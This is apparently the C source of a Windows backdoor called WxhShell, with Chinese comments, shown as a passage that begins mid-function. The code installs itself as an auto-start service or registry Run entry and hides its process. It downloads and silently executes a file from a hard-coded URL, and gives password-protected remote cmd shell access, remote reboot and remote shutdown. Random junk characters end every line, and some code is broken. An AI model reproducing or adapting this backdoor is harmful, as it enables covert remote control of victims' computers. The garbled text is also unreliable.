    } 2XFU1 AW  
  // 关机 yj;sSRT  
  case 'd': { kzn5M&f>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vr6@> @SC  
    if(Boot(SHUTDOWN)) e+$p9k~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$C 4\$t  
    else { 8jd;JPz@\  
    closesocket(wsh); P `}zlml  
    ExitThread(0); [ oL.+  
    } hU`wVy  
    break; Gn|F`F  
    } M m[4yP%  
  // 获取shell 8oUpQcim  
  case 's': { .y_/Uwu  
    CmdShell(wsh); R:e<W/P"  
    closesocket(wsh); hd>aZ"nm1  
    ExitThread(0); _/uFsYC  
    break; z.$4!$q  
  } ,k{#S?:b  
  // 退出 (i34sqV$m  
  case 'x': { Z*y`R XE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !V"<U2  
    CloseIt(wsh); !>{G,\^=pT  
    break; TH; R  
    } & -{DfNKc  
  // 离开 ]h>_\9qO  
  case 'q': { L\)ZC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -yE/f2PgQ  
    closesocket(wsh); QrB@cK]  
    WSACleanup(); YP.5fq:  
    exit(1); r"``QmM  
    break; %X4xv_o`f  
        } WF1px%  
  } 8P^I TL z%  
  } Rv#]I#O  
E~%jX }/  
  // 提示信息 ,4zmb`dP<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c_-drS  
} 8TGOx%}i  
  } DF1I[b=]  
SH_(rQby  
  return; zm]aU`j  
} /tP|b _7O  
 :rHJ4Tl  
// shell模块句柄 J8S'/y(LE<  
int CmdShell(SOCKET sock) U7 `A497Z  
{ yRSTk2N@  
STARTUPINFO si; biSz?DJ>  
ZeroMemory(&si,sizeof(si)); MaRi+3F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f|h|q_<;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :n0vQ5a  
PROCESS_INFORMATION ProcessInfo; h\5OrD@L  
char cmdline[]="cmd"; k5D%y3|9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (@%gS[]  
  return 0; V.O(S\  
} xl6,s>ob  
giZP.C"0  
// 自身启动模式 +V m}E0Ov  
int StartFromService(void) 2q3+0Et8  
{ )Y2{_ bx4"  
typedef struct Gnfd;. (.  
{ 4US"hexE<  
  DWORD ExitStatus; ^cczJOxB  
  DWORD PebBaseAddress; ^aH \7J@Y  
  DWORD AffinityMask; 5jd,{<  
  DWORD BasePriority; 4a'N>eDR  
  ULONG UniqueProcessId; r<K(jG[:{f  
  ULONG InheritedFromUniqueProcessId; GliwY_  
}   PROCESS_BASIC_INFORMATION; k.uMp<)D  
RRRCS]y7$t  
PROCNTQSIP NtQueryInformationProcess; 4*Q#0`um  
^.1c{0Y^0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7on.4/;M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?Cl%{2omO  
|K.mP4CKY  
  HANDLE             hProcess; =at@Vp/y  
  PROCESS_BASIC_INFORMATION pbi; &;+ -?k|  
LL2=&VK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =&,]Z6{ >  
  if(NULL == hInst ) return 0; vH#huZA?7  
e6d<dXx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q OSM}ei>s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S-k8jm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #a<Gxj  
VH+%a<v"  
  if (!NtQueryInformationProcess) return 0; bsB*533  
:/ Q   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \~fONBY  
  if(!hProcess) return 0; NMa} <  
p(~Yx3$*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i(iXD  
" f "6]y  
  CloseHandle(hProcess); o| #Qu8Lk  
c )G3k/T5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4WJ.^(  
if(hProcess==NULL) return 0; }UWL-TkEjF  
DV _2P$tT|  
HMODULE hMod; .u4 W /  
char procName[255]; ig/%zA*Bo  
unsigned long cbNeeded; .Yf:[`Q6g  
VxVE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  #`o2Z  
qNYN-f~@,  
  CloseHandle(hProcess); =>M^02"  
r7b1-  
if(strstr(procName,"services")) return 1; // 以服务启动 5*1D$mxD"  
C}_ ojcR  
  return 0; // 注册表启动 hRs&t,{&  
}  CCL   
QKr,g  
// 主模块 ^~3SSLS4"  
int StartWxhshell(LPSTR lpCmdLine) r]b_@hT',  
{ 4|CtRF<L  
  SOCKET wsl; %`r?c<P}  
BOOL val=TRUE; N7O-2Z *  
  int port=0; Cn "s` q  
  struct sockaddr_in door; C!fMW+C@  
Ib+Y~ XYR  
  if(wscfg.ws_autoins) Install(); V+VkY3  
4<k9?)~(J  
port=atoi(lpCmdLine); Kjs.L!W  
MM (xk  
if(port<=0) port=wscfg.ws_port; X4 A<[&F/  
q U]gj@R  
  WSADATA data; kzt(i Y_6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <})2#sZO!  
w-Da~[J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vTJ}8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %k'!Iq+  
  door.sin_family = AF_INET; k +H3Bq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (=* cK-3  
  door.sin_port = htons(port); R,pX:H&#+  
TrLu~4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U$_xUG  
closesocket(wsl); ~ xft  
return 1; >D(RYI  
} +\F'iAs@  
A^)?Wt%*  
  if(listen(wsl,2) == INVALID_SOCKET) { 0V'nK V"|  
closesocket(wsl); Mf&{7%  
return 1; (]Y 5eM  
} m<j8cJ(  
  Wxhshell(wsl); m^GJuP LW  
  WSACleanup(); IW@PF7  
2vAQ  
return 0; =o&>fw  
K':K{ee>  
} wPwXM!  
*=+td)S/1  
// 以NT服务方式启动 *#tJM.Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;|vpwB@B  
{ <gJU?$  
DWORD   status = 0; ?kB2iU_f+  
  DWORD   specificError = 0xfffffff; N4L|;?  
^eR%N8Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h-Fn?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (`sH3&Kl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "CUty"R 8  
  serviceStatus.dwWin32ExitCode     = 0; 1n:8s'\  
  serviceStatus.dwServiceSpecificExitCode = 0; ?<(m 5Al7  
  serviceStatus.dwCheckPoint       = 0; [^U#Qj)hL  
  serviceStatus.dwWaitHint       = 0; d5D$&5Ec  
n&-qaoNl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3b+d"`Y^S  
  if (hServiceStatusHandle==0) return; 9Hc$G{[a  
ev#;t@^  
status = GetLastError(); Qzlo'e1  
  if (status!=NO_ERROR) Axe8n1*y  
{ SRrw0&ts  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;uw Ryd  
    serviceStatus.dwCheckPoint       = 0; ]cGA~d  
    serviceStatus.dwWaitHint       = 0; A7%:05  
    serviceStatus.dwWin32ExitCode     = status; t4-pM1]1_  
    serviceStatus.dwServiceSpecificExitCode = specificError; f"u%J/e&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W!6qqi{  
    return; 11<KpxKpk  
  } \Dd-Xn_b  
{ T-'t/0e(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gcig*5   
  serviceStatus.dwCheckPoint       = 0; BbgnqzU  
  serviceStatus.dwWaitHint       = 0; 1#0{@35  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ++V=s\d7  
} +;#Y]xy:  
7tcPwCc{  
// 处理NT服务事件,比如:启动、停止 Kd=%tNp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y@b.sMg{  
{ BI $   
switch(fdwControl) 8erSt!oM  
{ >|twyb  
case SERVICE_CONTROL_STOP: " QWq_R  
  serviceStatus.dwWin32ExitCode = 0; )tl.s)"N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +TQ47Z c  
  serviceStatus.dwCheckPoint   = 0; hA33K #bC  
  serviceStatus.dwWaitHint     = 0; *g[^.Sg  
  { /Rg*~Ers *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )w0AC"2O~  
  } p TeOW9  
  return; "87ghj_}  
case SERVICE_CONTROL_PAUSE: 2U; t(,dn'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m<0&~rg   
  break; qU#BJON]BR  
case SERVICE_CONTROL_CONTINUE: 3 AsT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z&{5;A}Q@  
  break; rxy&spX  
case SERVICE_CONTROL_INTERROGATE: U5He?  
  break; Q)LM-ZJKQ  
}; hED=u/ql[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <j5NFJ9  
} Oh'Y0_oB>  
%7gkNa  
// 标准应用程序主函数 ,{LG4qvP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k&. Jk B"  
{ US%^#D q  
DXa-rk8  
// 获取操作系统版本 ~R &;v3  
OsIsNt=GetOsVer(); #_(jS+lP?k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t$A%*JBKm  
%"af748!+D  
  // 从命令行安装 IjR'Qou5  
  if(strpbrk(lpCmdLine,"iI")) Install(); RW}"2  
e}.^Tiwd]  
  // 下载执行文件 k31I ysh  
if(wscfg.ws_downexe) { ngat0'oa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /l<<_uk$  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1$81E.  
} V 2i@.@$j  
_<NMyRJo  
if(!OsIsNt) { W~p/,HcM  
// 如果时win9x,隐藏进程并且设置为注册表启动 vsr[ur[eP  
HideProc(); cg*)0U-_(  
StartWxhshell(lpCmdLine); a(v>Q*zNP  
} !}r% u."  
else NN1$'"@NL  
  if(StartFromService()) 6+KHQFb&N  
  // 以服务方式启动  R#DwF,  
  StartServiceCtrlDispatcher(DispatchTable); 5GPo*Qpl  
else >$,y5 AJ&  
  // 普通方式启动 N1}={yF.fQ  
  StartWxhshell(lpCmdLine); Vw&HVo  
v0ES;  
return 0; yNqe8C,>e  
} CBD6bl|A  
EB_NK  
d R]Q$CJ  
o`q_wdy?  
=========================================== YcN!T"w J@  
C,pJ`:P  
'^FGc  
lME)?LOI  
/M*a,o  
zdEPDd B  
" }LijnHH.  
LI6hE cM=  
#include <stdio.h> Wf&W^Q  
#include <string.h> BZXUwqEh  
#include <windows.h> e4z1`YLsG  
#include <winsock2.h> +5&wOgx  
#include <winsvc.h> -M1YE  
#include <urlmon.h> P7x =  
H_ez'yy  
#pragma comment (lib, "Ws2_32.lib") ,+ #6Y_  
#pragma comment (lib, "urlmon.lib") }A:<%N  
\C`~S7jC  
#define MAX_USER   100 // 最大客户端连接数 ?&^?-S% p  
#define BUF_SOCK   200 // sock buffer en:4H   
#define KEY_BUFF   255 // 输入 buffer  aKd+CO:  
5n ^TRB  
#define REBOOT     0   // 重启 ^-a8V'  
#define SHUTDOWN   1   // 关机 d'|, [p  
viAMr"z  
#define DEF_PORT   5000 // 监听端口 m/@<c'i  
9Y<#=C  
#define REG_LEN     16   // 注册表键长度 C>[fB|^  
#define SVC_LEN     80   // NT服务名长度 A,) VM9M_l  
>N?2""  
// 从dll定义API RJON90,J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cn- nj]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ( &frUQm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  =Mb1o[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (}5S  
h#hxOVl%x  
// wxhshell配置信息 6O22P?v  
struct WSCFG { \J6hI\/4^  
  int ws_port;         // 监听端口 &V<W>Y>|l*  
  char ws_passstr[REG_LEN]; // 口令 7oR:1DX w|  
  int ws_autoins;       // 安装标记, 1=yes 0=no ) 9oH,gZ  
  char ws_regname[REG_LEN]; // 注册表键名 )#}mH@  
  char ws_svcname[REG_LEN]; // 服务名 brZ sA Q+k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S#-tOj U*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F5 ]C{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z-B%'/.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v*qQ? S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q;:6_Qr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B: \Uw|Mf  
}=2;  
}; 7rC uu*M  
PDLpNTBf  
// default Wxhshell configuration {h KjD"?  
struct WSCFG wscfg={DEF_PORT, ?9X&tK)E-  
    "xuhuanlingzhe", ne>g?"Pex{  
    1, LjH*rjS4  
    "Wxhshell", {q3H5csFq  
    "Wxhshell", wM _ 6{  
            "WxhShell Service", @Fpb-Qd"  
    "Wrsky Windows CmdShell Service", -.|4Y#b:&  
    "Please Input Your Password: ", \Fe_rh  
  1, :Yj) CGl$  
  "http://www.wrsky.com/wxhshell.exe", (?*BB3b`  
  "Wxhshell.exe" p<v.Q   
    }; i#%a-I:M  
wfjc/u9W6R  
// 消息定义模块 }BmS )J q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q,2]5 '  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *E~VKx1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5eA8niq#  
char *msg_ws_ext="\n\rExit."; u<n`x6gL  
char *msg_ws_end="\n\rQuit."; Do]*JO)(  
char *msg_ws_boot="\n\rReboot..."; f N "tA  
char *msg_ws_poff="\n\rShutdown..."; P &)1Rka  
char *msg_ws_down="\n\rSave to "; -OYDe@Wb]  
nCKbgM'"  
char *msg_ws_err="\n\rErr!"; gs W0  
char *msg_ws_ok="\n\rOK!"; YUdxG/~'  
NA.1QQ ;e  
char ExeFile[MAX_PATH]; 6UE(f@  
int nUser = 0; CZEW-PIhj  
HANDLE handles[MAX_USER]; ItX5JV)  
int OsIsNt; o."rxd  
Sc]P<F7N]  
SERVICE_STATUS       serviceStatus; 2Nj9U#A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Lp,Hqi5  
^MmC$U^n  
// 函数声明 %Z8vdU#l  
int Install(void); M]-VHI[&W  
int Uninstall(void); K{l5m{:%  
int DownloadFile(char *sURL, SOCKET wsh); S }>n1F_  
int Boot(int flag); xc?}TPpt  
void HideProc(void); t+nRw?Z  
int GetOsVer(void); w18RA#Zo/  
int Wxhshell(SOCKET wsl); 9Z6C8J v  
void TalkWithClient(void *cs); dP>w/$C}  
int CmdShell(SOCKET sock); IF@HzT;Q  
int StartFromService(void); &l}?v@@+_  
int StartWxhshell(LPSTR lpCmdLine); I@l>w._.  
GPWr>B.{:S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $A}QY5`+~S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !eJCM`cp  
,5|d3dJS  
// 数据结构和表定义 #' hLb  
SERVICE_TABLE_ENTRY DispatchTable[] = a9~"3y  
{ 5v^L9!`@%v  
{wscfg.ws_svcname, NTServiceMain}, qXXGF_Q  
{NULL, NULL} zEw >SP1,  
}; 2>\\@ 1  
4 UAvw  
// 自我安装 zx1:`K0bi  
int Install(void) d/7lefF  
{ -s$<Op{s  
  char svExeFile[MAX_PATH];  0v^:  
  HKEY key; T[Pa/j{  
  strcpy(svExeFile,ExeFile); s{/qS3=  
:o"8MZp  
// 如果是win9x系统,修改注册表设为自启动 dZGbC9  
if(!OsIsNt) { CDp8)=WJFF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^t[HoFRa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5% nt0dc  
  RegCloseKey(key); 50a\e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7?)/>lx\>$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Y)to/h  
  RegCloseKey(key); 8G ]w,eF  
  return 0; [$ :  
    } e@F|NCQ.9  
  } r-w2\2  
} 2:$ k  
else { !ax;5@J  
^t'3rft  
// 如果是NT以上系统,安装为系统服务 &k T"oK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F3ZxhkF  
if (schSCManager!=0) J -Qh/d%]  
{ S:Tm23pe  
  SC_HANDLE schService = CreateService ' eO/PnYW  
  ( |)@N-f:E  
  schSCManager, -PAF p3w\y  
  wscfg.ws_svcname, nj\_lL+  
  wscfg.ws_svcdisp, he )ulB  
  SERVICE_ALL_ACCESS, !;>(i e\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {aN(d3c  
  SERVICE_AUTO_START, )%du@a8  
  SERVICE_ERROR_NORMAL, |ia@,*KD  
  svExeFile, ykq'g|  
  NULL, .V%*{eHLL  
  NULL, >kdM:MK  
  NULL, OR+A_:c.D  
  NULL, C]`eH *z~8  
  NULL /hdf{4  
  ); 4FA|[An  
  if (schService!=0) [V@yRWI  
  { "7?js $  
  CloseServiceHandle(schService); OoP@-D"e  
  CloseServiceHandle(schSCManager); i#,1i VSG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q2C)tVK+  
  strcat(svExeFile,wscfg.ws_svcname); /BH.>R4`A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~,}s(`~   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LCQkgRs}~{  
  RegCloseKey(key); 'o\;x"YJ  
  return 0; QJ];L7Hbo  
    } # bX~=`  
  } Jm![W8L  
  CloseServiceHandle(schSCManager); i=QqB0  
} +Z? [M1g  
} q|q:: q*  
[Hcaw   
return 1; @)sc6 *lnW  
} $ u2Cd4  
_1JmjIH)M  
// 自我卸载 PI7IBI  
int Uninstall(void) 6tOi^+qN  
{ sT<{SmBF  
  HKEY key; E_[ONm=,  
R @r{  
if(!OsIsNt) { g'G8 3F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3kLOoL?  
  RegDeleteValue(key,wscfg.ws_regname); - s|t^  
  RegCloseKey(key); ~eo^`4O{{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ t@|q  
  RegDeleteValue(key,wscfg.ws_regname); >rwYDT#m]  
  RegCloseKey(key); v#=ayWgk  
  return 0; n0.8)=;2  
  } rrQ0qg  
} X^in};&d  
} e?)yb^7K  
else {  nhfwOS  
F7 uhuqA]N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); md6*c./Z  
if (schSCManager!=0) (G5T%[/U  
{ vug-n 8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~yN(-I1P  
  if (schService!=0) ChIoR:y>  
  { e<'U8|}hc{  
  if(DeleteService(schService)!=0) { *?Wtj  
  CloseServiceHandle(schService); }'jV/  
  CloseServiceHandle(schSCManager); Kcn\g.  
  return 0; #v qz{R~nM  
  } uAb 03Q  
  CloseServiceHandle(schService); A;%kl`~iyz  
  } oWcACs3fB  
  CloseServiceHandle(schSCManager); yGV{^?yoP  
} X'2Gi  
} JfKg_&hM  
jI#z/a!j:  
return 1; bD@@tGr;W  
} Orc>.~+f%A  
{@\/a  
// 从指定url下载文件 A}eOR=E  
int DownloadFile(char *sURL, SOCKET wsh) ocP*\NR  
{ ~}%&p& p  
  HRESULT hr; L`[F~$|  
char seps[]= "/"; ` Y\QUj  
char *token; 1OPfRDn.bk  
char *file; 8g5.7{ky  
char myURL[MAX_PATH]; !'PlDGD  
char myFILE[MAX_PATH]; QAXYrRu  
7+S44)w}~  
strcpy(myURL,sURL); Lnx2xoNk  
  token=strtok(myURL,seps); 2^bgC~2C1  
  while(token!=NULL) ./!KE"!  
  { ^=#!D[xj>  
    file=token; q/J3cXa{K  
  token=strtok(NULL,seps); 2e\Kw+(>{  
  } MVuP |&:n  
7X:hIl   
GetCurrentDirectory(MAX_PATH,myFILE); ,A?v,Fs>O[  
strcat(myFILE, "\\"); 7n>|D^  
strcat(myFILE, file); Gavkil  
  send(wsh,myFILE,strlen(myFILE),0); .ftUhg  
send(wsh,"...",3,0); W[ "HDR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jrdtd6b}  
  if(hr==S_OK) -~]^5aa5n  
return 0; 4i96UvkZ  
else q]?+By-0  
return 1; [R$liN99z;  
&0h=4i=6r  
} j5A\y^Kv  
"D!Dr1  
// 系统电源模块 1Y2a* J  
int Boot(int flag) M->Kz{h?j  
{ o7QK8#  
  HANDLE hToken; tQ6|PV  
  TOKEN_PRIVILEGES tkp; tQCj)Ms'X  
Z0z)  
  if(OsIsNt) { L]a|vp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %SFw~%@3&~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y (ldO;.  
    tkp.PrivilegeCount = 1; e7wKjt2fy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6z`8cI+LRw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]d~MEa9Y|  
if(flag==REBOOT) { 7Fc |  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wtUG^hV #_  
  return 0; ;q^,[(8  
} _BCT.ual  
else { *ig5Q(b*N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ur`V{9g  
  return 0; 9cbB[c_.  
} 0YHYxn  
  } 3 dY6;/s  
  else { p\)h",RkA  
if(flag==REBOOT) { @nW'(x(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L7[X|zmy*x  
  return 0; E'fX&[  
} @)06\ h  
else { UFJEs[?+Te  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _4g}kL02.  
  return 0; hkL w&;WJr  
} 6l=M;B7:i  
} 1gL8$.B?  
(2 mS v  
return 1; X^9t  
} [29$~.m$Y  
/}[zA@  
// win9x进程隐藏模块 M~#5/eRX  
void HideProc(void) ;9 R40qi  
{ %Ud.SJ 3  
V}p*HB@:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  z, :+Oc  
  if ( hKernel != NULL ) FP0<-9DO  
  { \"{/yjO|4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,[+ZjAyG}#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {_+>"esc  
    FreeLibrary(hKernel); oM m/!Dc  
  } ZD iW72&Q  
,2Sv1v$  
return; HP1X\h!Ke  
} 0R.Gjz*Q  
tauP1&%oH{  
// 获取操作系统版本 wpJ^}+kF  
int GetOsVer(void) mvxc[  
{ `V$cz88b  
  OSVERSIONINFO winfo; Qq6%53  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t(Cq(.u`:  
  GetVersionEx(&winfo); a'(lVZA;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m|g$'vjk  
  return 1; *m2d#f  
  else 6+5(.z-[  
  return 0; J:k@U42  
} y$"~^8"z  
}6b7a1p  
// 客户端句柄模块 _~(M A-l  
int Wxhshell(SOCKET wsl) \ltErd-  
{ C[HE4xF6  
  SOCKET wsh; bDcWb2 lqs  
  struct sockaddr_in client; /61ag9pN  
  DWORD myID; 'ocwXyP,  
=!Baz&#}  
  while(nUser<MAX_USER) FlM.D u  
{ ~Y}Z4" o  
  int nSize=sizeof(client); a93d'ZE-X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S(YHwH":  
  if(wsh==INVALID_SOCKET) return 1; 8*Nt&`@  
r A&#>R`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cfQh  
if(handles[nUser]==0) )PanJHtU  
  closesocket(wsh); zrWq!F*-V\  
else ~]D \&D9=?  
  nUser++; tS*^}e*  
  } e`gGzyM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9x 6ca  
yQQDGFTb!=  
  return 0; ? geWR_Z  
} S{r)/ ~/  
a)yNXn8E_  
// 关闭 socket kAKqW7,q"  
void CloseIt(SOCKET wsh) t=@Jw  
{ LQ&d|giA  
closesocket(wsh); LMhY"/hAXa  
nUser--; ]!S)O|_D[  
ExitThread(0); D2wgSrY  
} QY CNO#*  
O (sFs1  
// 客户端请求句柄 (J) Rs`_  
void TalkWithClient(void *cs) ~QQ23k&  
{ Rc m(Y7  
w[$Wpae  
  SOCKET wsh=(SOCKET)cs; :Y)kKq d  
  char pwd[SVC_LEN]; ![MDmt5Ub^  
  char cmd[KEY_BUFF]; 1Qc(<gM  
char chr[1]; {Z{NH:^  
int i,j; H ]N/Y{  
m3v* ,~  
  while (nUser < MAX_USER) { O|g!Y(  
*fy`JC  
if(wscfg.ws_passstr) { {G*:N[pJp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E0?\DvA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {II7%\ya  
  //ZeroMemory(pwd,KEY_BUFF); YF[!Hpzq  
      i=0; b<H6 D}  
  while(i<SVC_LEN) { jU9zCMyNF  
}_D5, k  
  // 设置超时 #5"<.z  
  fd_set FdRead; keq[ 6Lv  
  struct timeval TimeOut;  f"=4,  
  FD_ZERO(&FdRead); =)UiI3xHk  
  FD_SET(wsh,&FdRead); XU })3]/  
  TimeOut.tv_sec=8; :DF4g=  
  TimeOut.tv_usec=0; 7!840 :a?+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D8Waf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6+d"3-R.  
d/99!+r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o>,z %+  
  pwd=chr[0]; ]j#$.$q  
  if(chr[0]==0xd || chr[0]==0xa) { 8`*9jr  
  pwd=0; 9P >S[=  
  break; QNI|h;D  
  } z# ?w/NE  
  i++; q^+NhAMz  
    } HG 6{`i  
fvAV[9/-  
  // 如果是非法用户,关闭 socket <"Cwy0V kp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i&G`ah>  
} JfINAaboi  
(cew:z H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3#ZKuGg=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wjk;"_"gd  
)Is*- W  
while(1) { ik NFW*p  
|0!97* H5  
  ZeroMemory(cmd,KEY_BUFF); !eoec2h#5  
bh"v{V`=0  
      // 自动支持客户端 telnet标准   67:<X(u+!  
  j=0; U)1qsUDF  
  while(j<KEY_BUFF) { @I.O T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); toZI.cSg4  
  cmd[j]=chr[0]; Q+M3Pqy  
  if(chr[0]==0xa || chr[0]==0xd) { )g<qEyJR  
  cmd[j]=0; <RsKV$Je I  
  break; X}FF4jE]D(  
  } uM<+2S  
  j++; BD+~8v  
    } &t:MWb;  
?qW|k6{O  
  // 下载文件 :Lzj'Ij  
  if(strstr(cmd,"http://")) { Lcb5 9Cs6e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UVU*5U~  
  if(DownloadFile(cmd,wsh)) gb#wrI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LKY Q?  
